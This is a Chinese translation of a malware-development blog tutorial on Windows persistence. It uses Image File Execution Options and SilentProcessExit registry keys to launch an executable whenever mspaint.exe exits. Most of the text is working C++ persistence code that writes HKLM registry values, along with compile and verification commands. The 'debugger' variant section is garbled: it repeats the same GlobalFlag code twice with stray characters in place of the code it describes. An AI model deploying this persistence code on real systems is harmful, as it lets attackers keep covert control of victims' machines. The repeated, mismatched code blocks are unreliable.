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利用windows自带的画图软件(mspaint.exe)进行权限维持

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翻译至: https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html

这篇文章是我自己对一个有趣的恶意软件持久性技巧的研究的结果：通过图像文件执行选项。

图像文件执行选项永久链接

IFEO 使开发人员能够将调试器附加到应用程序或进程。这允许调试器/应用程序与正在调试的应用程序同时运行。

如何设置此功能？我们可以在另一个应用程序静默退出时启动一个进程/程序。

应用程序的_静默退出_意味着应用程序已通过以下两种方式之一终止：

  1. 通过调用ExitProcess进行自我终止
  2. 另一个进程通过调用终止TerminateProcess受监视的进程

这可以通过以下注册表项进行配置：

HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

实际示例永久链接

让我们在Microsoft Paint（mspaint.exe）静默退出后运行我们的恶意软件。

所以，假设我们有我们的“恶意软件”（hack.cpp):

/*
hack.cpp
evil app for windows persistence via IFEO
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

如你所见，像往常一样，我使用“meow-meow”消息框“恶意软件”=^.。^=

然后，创建用于修改注册表的持久性脚本 （pers.cpp):

/*
pers.cpp
windows persistence via IFEO (GlobalFlag)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  DWORD gF = 512;
  DWORD rM = 1;

  // image file
  const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";

  // silent exit
  const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";

  // evil app
  const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";

  // GlobalFlag
  // LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
    RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
    RegCloseKey(hkey);
  }

  // res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "Z:\..\hack.exe"
    RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
    RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }

  return 0;
}

那么我们在这里做了什么？首先，我们在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion下创建了SilentProcessExit键，然后通过添加GlobalFlag启用了静默进程退出监控功能:

//...

LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);

//...
//...

// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
//...

通过将 MonitorProcess 设置为 ...\hack.exe.exe将 ReportingMode 设置为 1，mspaint.exe 的每个静默退出现在都会触发我们的“恶意软件”黑客的执行hack.exe:

//...

RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));

演示永久链接

编译恶意软件：

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

运行它，目的是为了检查正确性：

因此，检查注册表项：

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s

也SilentProcessExit:

req query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s

正如预期的那样，我们的目标应用程序缺少一些注册表项。因此，当它开始和关闭时，没有任何反应：

现在让我们编译：

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

并运行我们的脚本以实现持久性 pers.exe，然后再次检查注册表项：

.\pers.exe
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s

最后，再次运行 mspaint.exe：

并关闭它：

ReportingMode 注册表项启用 Windows 错误报告进程 （WerFault.exe），该进程将是 MonitorProcess 键值hack.exe父进程.exe:

WerFault.exe - 用于跟踪与操作系统、Windows 功能和应用程序相关的错误。

IFEO 调试器类型永久链接

还有另一种通过调试器密钥实现的 IFEO。只需在此注册表项中为受害进程创建一个调试器：

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe

则只需要将恶意应用程序存储在System32中.

所以源代码很简单，看起来像这样：

/*
pers.cpp
windows persistence via IFEO (GlobalFlag)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  DWORD gF = 512;
  DWORD rM = 1;

  // image file
  const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";

  // silent exit
  const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";

  // evil app
  const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";

  // GlobalFlag
  // LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
    RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
    RegCloseKey(hkey);
  }

  // res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "Z:\..\hack.exe"
    RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
    RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }

  return 0;
}0

让我们编译它：

/*
pers.cpp
windows persistence via IFEO (GlobalFlag)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  DWORD gF = 512;
  DWORD rM = 1;

  // image file
  const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";

  // silent exit
  const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";

  // evil app
  const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";

  // GlobalFlag
  // LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
    RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
    RegCloseKey(hkey);
  }

  // res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "Z:\..\hack.exe"
    RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
    RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }

  return 0;
}1

实际应用中的用例：

当Microsoft Paint进程（mspaint.exe）启动时，这将导致恶意软件被执行。完善！

APT29 组和软件（如 SUNBURST）在野使用这种权限维持技巧。

ATT&CK MITRE： IFEO Injection
MSDN：监视静默进程退出
在映像文件执行选项中使用全局标志的持久性
APT29
旭日
GitHub 上的源代码


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